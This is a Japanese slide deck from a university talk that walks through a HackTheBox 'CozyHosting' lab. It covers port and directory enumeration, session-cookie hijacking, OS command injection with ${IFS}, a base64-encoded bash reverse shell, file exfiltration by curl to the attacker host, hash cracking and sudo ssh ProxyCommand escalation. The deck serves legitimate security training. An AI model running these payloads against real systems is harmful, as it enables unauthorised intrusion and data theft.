Slide 1

Slide 1 text

HackTheBox をはじめてみる Presented by Migawari @ NFLabs. UEC出張編, 2023/11/13 とりあえず

Slide 2

Slide 2 text

AGENDA はじめに Pentest と HackTheBox おわりに Challenge -CozyHosting- 1

Slide 3

Slide 3 text

はじめに 自己紹介とか免責次項とか 2

Slide 4

Slide 4 text

$whoami ・NTT Com.入社 6年目 in NFLabs. ・脅威分析のおしごとなう @strinsert1Na ときどき採用活動やリサーチ, CTF なんかを仲間とやっている 3 高田研OBで当時は警告の研究とかしてました

Slide 5

Slide 5 text

・学んだ技術を使って現実世界に危害を与えるような行動をしないこと - 場合によっては刑事事件 - 「ツールがそんなことしてたなんて知らなかった!」 では済まされない 挙動・仕組みがわからないなら知らない相手にぶっぱしない ・あくまで、我々がより高度な防御を行うための検討材料として学ぶこと 免責事項 4

Slide 6

Slide 6 text

Ready...☞ 5

Slide 7

Slide 7 text

Pentest と HackTheBox 6

Slide 8

Slide 8 text

セキュリティむかしばなし 7 多層防御! パスワードZIP!! セキュリティ完璧や!!! 俺の考える最強のセキュリティ!! を各々の組織で考え、実践するスタイル(一部ではまだこの路線だけど……)

Slide 9

Slide 9 text

セキュリティむかしばなし 8 多層防御! パスワードZIP!! セキュリティ完璧や!!! まぁこれが現実なんですけどね (費用対効果: 低) 日本企業くんちょろすぎ~www システム使いにくすぎやろ 仕事にならんわマジで 従業員 攻撃者

Slide 10

Slide 10 text

より実践的で費用対効果の高い対策を!! 9 そもそもZIPって自動で防御 できてるんか!? それよりも 社内システムやばすぎ…? 攻撃者のロールとなったチームが企業の脆弱性を発見し、改善を促せばええやん!! もうパスワードZIP対策(笑)も IEでしか動かないシステムもやめよ? 効果ないしExploit刺さり放題よ?? 悪性ZIPなんて全部メールセキュリティが 止めてるしそもそも見る機会無いわー 従業員 RedTeam

Slide 11

Slide 11 text

セキュリティのトレンドの変貌(個人の感想) 10 5~6年前から一気に “Offensive Security” が界隈でバズりはじめ RedTeam を持つ会社が増えた … 約10年前 5~6年前 現在 ・脅威インテリジェンス ・アトリビューション ・ユーザブルセキュリティ ・ペネトレーションテスト ・オフェンシブセキュリティ ・SBOM ・ゼロトラスト ・ASM

Slide 12

Slide 12 text

11 攻撃者の戦略(思考)やテクニックを学ぶことができる一つのサービスが HackTheBox です https://app.hackthebox.com/

Slide 13

Slide 13 text

Boot2Root 12 HackTheBox の machine の場合、ユーザ権限のシェルを取得したら1つflag(user.txt), root 権限のシェルを取得したら1つflag(root.txt)がもらえる root のシェルを取得するのがゴールのイメージ HackTheBox はチャレンジのIPアドレスだけ与えられるブラックボックスな状態 で水平・垂直方向への展開を目指す Boot2Root 形式 起点の探し方や見つけ方はツールを知っていたりかなり経験による 当たりをつけるといった部分もあるので初心者の参入が難しめなイメージ CTF やったことある人は Jeopardy 形式のチャレンジがなじみ深い? もしかしたら Attack & Defense (King of the Hill) をやったことある人もいるかも?

Slide 14

Slide 14 text

HackTheBox のスコープを戦略マップから見る ATT&CK Enterprise Matrix: https://attack.mitre.org/matrices/enterprise/ 13 攻撃の進行 列挙 初期 侵入 + 永続化 権限 昇格 ネットワーク内部・ 隣のネットワーク への進出(横展開) 機密データの物色 持ち出し 多くの攻撃で最初の目標となる、侵害端末の完全掌握(権限昇格)までがスコープです

Slide 15

Slide 15 text

最近よく聞くケース 14 ホワイトハッカーっぽいことやりたいんですけどぉ 全然勉強の仕方がわからなくてぇ HackTheBox もすごく難しくってぇ…… もぅ、マジ無理。。。 HackTheBox もeasyの難易度が昔よりあがっているので、 何の準備もなしにいきなりやるのは厳しくなってきているかも…

Slide 16

Slide 16 text

今日の話を聞いて難しいなと思った人は 15 なるべくとっかかりやすくツールや考え方を紹介するつもりですが、難しいと感じる人は 誘導が丁寧な TryHackMe やすでに Writeup のある Retired Machine で遊ぶのをオススメです https://tryhackme.com/

Slide 17

Slide 17 text

ここまでのまとめ 16 将来ペネトレーションテストを仕事にしたい人は、具体的な防御策まで考えなくてもいいかもしれない HackTheBox を通して攻撃者の視点・使うツール・テクニックを知る! Root まで取れたら、具体的な改善・防御の仕組みも考えてみる! 最初は何もわからないになりやすいので、 TryHackMe や Writeup を見ながら Retired machine をやってみよう!

Slide 18

Slide 18 text

17 Challenge CozyHosting を解いてみる

Slide 19

Slide 19 text

Kali Linux 環境 事前準備 とりあえず以下の2つあれば始められます。 HackTheBox アカウント 18 事前準備はOK??

Slide 20

Slide 20 text

19 右上のメニューから “CONNECT TO HTB” => “Machines” => “OpenVPN” => “Protocol UDP で好きな Server を選択(距離的にSG か 空いているAU がいいかも)” => “DOWNLOAD VPN” ☞

Slide 21

Slide 21 text

$ sudo openvpn [your_vpn_filename].ovpn 20 Kali から openvpn をたたいて “Initialization Sequence Completed” が出れば接続OK

Slide 22

Slide 22 text

事前準備 21 左のタブから “Machines” => CozyHostig => Join Machine を選択

Slide 23

Slide 23 text

事前準備 22 チャレンジマシンのIPアドレスが表示されてuser, root flagの入力フォームが出たら準備OK

Slide 24

Slide 24 text

ここから攻略開始 23

Slide 25

Slide 25 text

Reconnaissance 24

Slide 26

Slide 26 text

IPアドレスはわかってるけど…… 25 それしかわからない とりあえずどんなサービスが動いているか知りたい!! まずは攻略対象にどんなサービスが動いているのか調査して情報を収集しよう

Slide 27

Slide 27 text

基本のキ 26 ポートをスキャンしてどんなサービスが動いているかを調査する

Slide 28

Slide 28 text

nmap を対象サーバに打つ 27 $ nmap -Pn -T4 -A -sV 10.10.11.230 HackTheBox だと “-A” いらないと思う(既知だから) ssh (22) とnginx Web server (80) が動いている 基本 ssh が脆弱なmachineはないので定石はまず80へアクセス

Slide 29

Slide 29 text

10.10.11.230 へアクセスしようとしても…? 28 cozyhosting.htb へリダイレクトされて 名前解決ができなくて怒られる => “/etc/hosts” に登録しよう!!

Slide 30

Slide 30 text

/etc/hosts へ登録 29 $ sudo vim /etc/hosts ☞

Slide 31

Slide 31 text

とりあえずブラウザで見えるようになりました! 30 どこかの企業サイトっぽい??

Slide 32

Slide 32 text

ここからの方針 vulnhub調査メモ, 高林の雑記ブログ https://kakyouim.hatenablog.com/entry/2020/01/03/204612 31 基本的には、インターネットにある チートシートを見ながらツールを叩いて 丁寧に情報を収集するしかない 慣れてくると勘でもいけるけど 最初のうちはツール打つ => 待ちが多い印象 私は昔、有志の方のブログを見て 該当しそうなものをひたすら試してました

Slide 33

Slide 33 text

Web でよくある exploit vector 32 今回の machine だと 2番目か3番目のパターン?? とか思いながら情報を収集している サービスが CVE や PoC が公開された脆弱性を持つバージョンで動いている サービスのコード書いた人がセキュリティガバガバ Easy machine だとフッター, バナー, ソースコードにヒントがあることが多い サービスの運用者がセキュリティガバガバ SQL injection, OS command injection, SSRF, etc. Joe アカウント, アカウント初期設定, 人とパスワードのヒントがプロフィールに載っている

Slide 34

Slide 34 text

Web 版とりあえずやっと系情報収集 33 1. サブドメイン探索 2. ディレクトリ探索 自分だととりあえず脳を殺してぶっぱする

Slide 35

Slide 35 text

使うツール -FFuF- 34 https://github.com/ffuf/ffuf $ sudo apt update $ sudo apt install ffuf

Slide 36

Slide 36 text

seclist の Wordlist を手に入れて列挙する(サブドメイン) 35 $ sudo apt install seclists $ ffuf -u http://cozyhosting.htb -H "Host: FUZZ.cozyhosting.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million- 110000.txt:FUZZ -c -mc 200

Slide 37

Slide 37 text

seclist の Wordlist を手に入れて列挙する(ディレクトリ) 36 $ ffuf -u http://cozyhosting.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large- directories.txt:FUZZ -c <= /admin があやしい?

Slide 38

Slide 38 text

/admin を訪問 37 /login へリダイレクト `admin/admin` とかを試行しても入れない

Slide 39

Slide 39 text

/error も訪問 38 Whitelabel Error Page なるものが表示される

Slide 40

Slide 40 text

ggr 39 裏で SpringBoot が動いている?

Slide 41

Slide 41 text

もっとディレクトリ探索 40 seclist の wordlist から Springboot のディレクトリを 選んで探索する actuator/sessions …? $ ffuf -u http://cozyhosting.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/spring-boot.txt:FUZZ -c

Slide 42

Slide 42 text

SpringBoot のドキュメントを調べる 41 https://spring.pleiades.io/spring-boot/docs/current/reference/html/actuator.html これはセッション情報見れるのでは?

Slide 43

Slide 43 text

/actuator/sessions を訪問 42 Kanderson ユーザのセッション情報がある。これで /admin へ入れる!?

Slide 44

Slide 44 text

余談: gobuster 43 $ gobuster dir -u http://cozyhosting.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt メジャーどころだとこういうツールでもディレクトリ列挙できます。お好みで。

Slide 45

Slide 45 text

余談: autorecon 44 $ sudo apt install seclists curl dnsrecon enum4linux feroxbuster gobuster impacket- scripts nbtscan nikto nmap onesixtyone oscanner redis-tools smbclient smbmap snmp sslscan sipvicious tnscmd10g whatweb wkhtmltopdf $ python3 -m pip install git+https://github.com/Tib3rius/AutoRecon.git $ autorecon cozyhosting.htb ある程度探索を自動でやりたい人におすすめ。ただし長い。(HTBだと最近はあまり出番なし)

Slide 46

Slide 46 text

余談: autorecon 45 サービスごとに結果をまとめてくれます。しかしこれだけだと探索はあまいので過信は禁物

Slide 47

Slide 47 text

余談: rustscan 46 $ wget https://github.com/RustScan/RustScan/releas es/download/2.0.1/rustscan_2.0.1_amd64.deb $ sudo dpkg -i rustscan_2.0.1_amd64.deb 最近だとざっとサービス確認したいときは rustscan がおすすめらしい。 https://twitter.com/schectman_hell/status/1671566069259960337

Slide 48

Slide 48 text

余談: rustscan 47 $ rustscan -a 10.10.11.230 --ulimit 5000 マジで爆速で終わるのでおすすめです。

Slide 49

Slide 49 text

Initial Access 48

Slide 50

Slide 50 text

49 “Proxy” => “Open Browser” からBurp内蔵のブラウザを使用する。 (リクエストの書き換えに便利なので) Firefox を一旦捨てて BurpSuite を使う

Slide 51

Slide 51 text

50 Intercept を “On” にして/adminへ訪れる

Slide 52

Slide 52 text

51 Cookie を /actuator/sessions で手に入れたものに書き換えて “Forward” Intercept を “On” にして/adminへ訪れる

Slide 53

Slide 53 text

52 Admin ページに入れた!!!

Slide 54

Slide 54 text

53 Admin ページに入れた!!! ↓何やら面白そうなフォームがある↓

Slide 55

Slide 55 text

54 結果は “Proxy” => “HTTP history” から見てみる 適当な値を入れて “Submit” を押し挙動を見てみる

Slide 56

Slide 56 text

55 “execute” がそもそも怪しい。もっと面白いことができるかもしれないのでリクエストを送る /executessh に POST をしたら error が返ってきた

Slide 57

Slide 57 text

56 “/executessh” のPOSTを右クリック => “Send to Repeater” へ リクエストをさらに送ってみる

Slide 58

Slide 58 text

57 Invalid hostname! で怒られた。 両方nullとかにしてデータを送ってみる

Slide 59

Slide 59 text

58 じゃあhostnameだけ値を入れてあげる

Slide 60

Slide 60 text

59 じゃあhostnameだけ値を入れてあげる ssh command の メッセージ!?

Slide 61

Slide 61 text

うまくやれば OS コマンド通るんじゃない??? 1つの仮説 60

Slide 62

Slide 62 text

61 C2 (kali) に通信を通してみる $ python3 –m http.server 80 ここにリクエストが見えればOK

Slide 63

Slide 63 text

62 curl を飛ばしてみる # ;curl http://[your_ip_addr]; 空白の利用に制限があるみたい。。。

Slide 64

Slide 64 text

63 Whitespace bypass 手法をググる shell の変数に ${IFS} があって、shell 上ではこれで Whitespace を表現できる模様 https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Comman d%20Injection/README.md#bypass-without-space

Slide 65

Slide 65 text

64 curl を飛ばしてみる # ;curl${IFS}http://[your_ip_addr]; 通った!!!

Slide 66

Slide 66 text

65 HTTP server 側にも返答 $ python3 –m http.server 80 これで被害端末を自由に操作できる

Slide 67

Slide 67 text

66 Next Step Reverse shell を張る

Slide 68

Slide 68 text

What is Reverse Shell? 67 OS command まで実行できるならば、 さらなる侵害につなげるためにsshのような対話型shellを入手したい コマンドを叩いて新たに接続用ポートを開けてもいいが、大抵のWebサーバは Firewall が導入されており新規のインバンド通信は許されていない なので、侵害先のWebサーバから攻撃者の 端末に向かって shell の通信を確立させる これが Reverse shell の概念 https://www.wallarm.com/what/reverse-shell

Slide 69

Slide 69 text

Reverse shell のペイロード 68 https://www.revshells.com/ 最初は Reverse Shell Generator からとって使うのをオススメ 今回は1番上のbashを使います

Slide 70

Slide 70 text

やることのイメージ 69 Web server Kali bash -i >& /dev/tcp/[ip]/[port] 0>&1 nc –lnvp [port] 侵害した Web server 上で Reverse shell コマンドを叩き、kali 側で nc (netcat) を利用して受け取る port は何番でもいいけど止まりにくい 80 or 443 をオススメ

Slide 71

Slide 71 text

ちょっとだけペイロードの工夫 70 使用する Reverse shell のコマンドには”&” があり、これはGETのパラメータ には入れられない => 実行には一工夫必要 一番安直な方法として Base64 変換して実行する方法があるので、 Cyberchef でペイロードを作成する https://gchq.github.io/CyberChef/#recipe=To_Base64('A-Za-z0- 9%2B/%3D')URL_Encode(true)&input=YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC40LzQ0M yAwPiYx ↑ IP addr. と Port は各自変えてね!

Slide 72

Slide 72 text

71 ペイロードを送ってみる # kali side $ nc –lnvp 443 Kali 側に文字が表示されればほぼ勝ち # Burp side # ;echo${IFS}YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC40LzQ0MyAwPiYx|base64${IFS} -d|bash;

Slide 73

Slide 73 text

72 送ってみた結果 $ nc –lnvp 443 Bash が使えてそうなのでやったっぽい!!

Slide 74

Slide 74 text

73 コマンドも叩いてみよう $ whoami $ ls /home 問題なくコマンドも打てているので大丈夫そう! Initial Access 成功!!!

Slide 75

Slide 75 text

74 余談: tty 現在触っている shell は、ssh や terminal 起動で手に入れたshellとは勝手が異なる (あくまで、bash の入出力がncを通して見えているだけ) Tab を使っても補完は効かず、コマンド実行中に Ctrl + C を押すとWeb server で打たれたコマンド ではなくkali の nc が落ちるので注意 tty コマンドを打っても現在のshellには tty がない

Slide 76

Slide 76 text

75 余談: tty python3 が入っている環境だと、以下の作業で仮想 tty を張ることが可能 tab 補完なども効くようになるのでとりあえずやっておいて損はないです。 # nc terminal on kali $ python3 -c ‘import pty; pty.spawn("/bin/bash")’ (ctrl + z) $ stty raw -echo; fg

Slide 77

Slide 77 text

Update shell 76

Slide 78

Slide 78 text

77 念願の flag 一個目!? $ ls –la /home $ ls –la /home/josh $ ls –la /app user.txt がない => まだ flag は手に入れられてない!! (おそらく、josh の権限が必要?)

Slide 79

Slide 79 text

78 だけどなんか jar fileはある $ ls –la /home $ ls –la /home/josh $ ls –la /app Easy machine の場合ほぼ正解へのルートなので中を見たい。 だけど jar だから手元で jd-gui とか使わないと解析難しい。どうしたら。。。

Slide 80

Slide 80 text

79 C2(kali)へデータを送る $ python3 -m pip install --user uploadserver $ python3 -m uploadserver 80 Python の uploadserver を使うのがめっちゃ楽。Python で建ててここにPOSTする

Slide 81

Slide 81 text

80 C2(kali)へデータを送る - POST - # nc terminal on kali $ curl -X POST http://[your_ip]/upload -F '[email protected]' 上記のように kali の HTTP server に upload リクエストが飛んでいればOK

Slide 82

Slide 82 text

81 Jar file を jd-gui から見る $ sudo apt install jd-gui $ jd-gui

Slide 83

Slide 83 text

82 Jar file を jd-gui から見る $ sudo apt install jd-gui $ jd-gui application.properties を見たら postgresql のusernameと password があるじゃん!!

Slide 84

Slide 84 text

83 Web server へ戻って postgres の中を漁る $ psql -U postgres -h localhost ~# ¥l Cozyhosting という database があるのでそこを覗く

Slide 85

Slide 85 text

84 Cozyhosting database の中身を漁る ~# ¥c cozyhosting ~# ¥z ~# select * from users; Sessions で見た kanderson 以外に admin ユーザが存在する => HTB ならとりあえず Crack!!

Slide 86

Slide 86 text

JohnTheRipper でハッシュをクラックする 85 $ gzip -d /usr/share/wordlists/rockyou.txt.gz $ john password.txt --wordlist=/usr/share/wordlists/rockyou.txt Crack に使う辞書は “rockyou.txt” がとりあえず安定。 password.txt には、先ほど見えた admin のハッシュを一行入れておく manchesterunited っていうパスワードが復元できたけど!?!?

Slide 87

Slide 87 text

パスワードを復元できたときのTips 86 どこかに使い回せそうな場面があっただろうか? 弱 い パ ス ワ ー ド が ど こ か で 使い回されていると考える

Slide 88

Slide 88 text

そういえば 87 /home 見たら Josh っていうユーザいたね?

Slide 89

Slide 89 text

ssh から josh/manchesterunited で入ってみる 88 $ ssh [email protected] キターーー

Slide 90

Slide 90 text

Flag ある……? 89 ありました! 長かったですがようやく flag 一つ目ですね

Slide 91

Slide 91 text

Privilege Escalation 90

Slide 92

Slide 92 text

基本方針 vulnhub Privilege Escalationメモ, 高林の雑記ブログ https://kakyouim.hatenablog.com/entry/2020/03/14/031746 91 基本的には”Reconnaissance” のフェーズと同じくでとにかく列挙して ① Kernel の脆弱性 or ②脆弱なサービス, 設定を見つける (基本新しいマシンは②。古いと脳死①であがる)

Slide 93

Slide 93 text

Root になるためにとりあえず試したいことといえば……? 92

Slide 94

Slide 94 text

Root になるためにとりあえず試したいことといえば……? 93 User shell とったらとりあえず打っと系コマンド

Slide 95

Slide 95 text

とりあえず “sudo –l” 打つ 94 Josh は root として ssh コマンドを打てる $ sudo -l

Slide 96

Slide 96 text

GTFOBins 95 https://gtfobins.github.io/ Unix Binary に怪しい設定あったら とりあえず GTFOBins 覗いて検索する ssh も書いてある

Slide 97

Slide 97 text

GTFOBins 96 (snip.) https://gtfobins.github.io/ sudo 許されてるなら ProxyCommand option 使ってroot shell取れるって書いてある

Slide 98

Slide 98 text

試してみる 97 root.txt も見えたので勝ちです $ sudo ssh -o ProxyCommand=';bash 0<&2 1>&2’ x $ whoami $ id

Slide 99

Slide 99 text

98

Slide 100

Slide 100 text

余談: PEASS 99 https://github.com/carlospolop/PEASS-ng 普通は sudo –l だけで 解決しないので、 とりあえずこのような ツールを動かして 怪しい箇所を列挙するのが一般的

Slide 101

Slide 101 text

100 $ wget http://10.10.14.48/linpeas.sh $ chmod +x linpeas.sh $ ./linpeas.sh –a > lp.txt $ less –r lp.txt ※C2 (kali) 側では $ wget https://github.com/carlospolop/PEASS- ng/releases/download/20231112-0a42c550/linpeas.sh $ python3 -m http.server 80

Slide 102

Slide 102 text

101 ssh の部分もこんな感じで光って見えます

Slide 103

Slide 103 text

おわりに まとめとか雑談とか 102

Slide 104

Slide 104 text

In life, unlike chess, the game continues after checkmate 103 --- Isaac Asimov

Slide 105

Slide 105 text

In life, unlike HTB, the pentest continues after rooted 104 --- ??? 一緒にやって root をとって終わり、では意味がない

Slide 106

Slide 106 text

実際にやってみていかがでしたか!? 105 少しでも持ち帰ることのできる知見があったなら幸いです やってみると、脆弱性があるとわかっても意外と悪用が難しい… 新たに得られたツールやテクニックに関する知見はあった? 具体的な防御のイメージにつながった? ・OS Command Injection とならないコーディング ・パスワードの使い回しNG ・脆弱な sudo の設定

Slide 107

Slide 107 text

もう少し続けてみたいという方は…… 106 CozyHosting とは Attack vector が異なる “Sau” なんかがいいんじゃないかなと思います とりあえずは目指せ “Hacker” rank!!

Slide 108

Slide 108 text

Any Questions? 107

Slide 109

Slide 109 text

わからなかったこととか聞きたいことあったら いつでもSlackなりTwitterなりメールなり気軽にしてください THANK YOU FOR LISTENING 108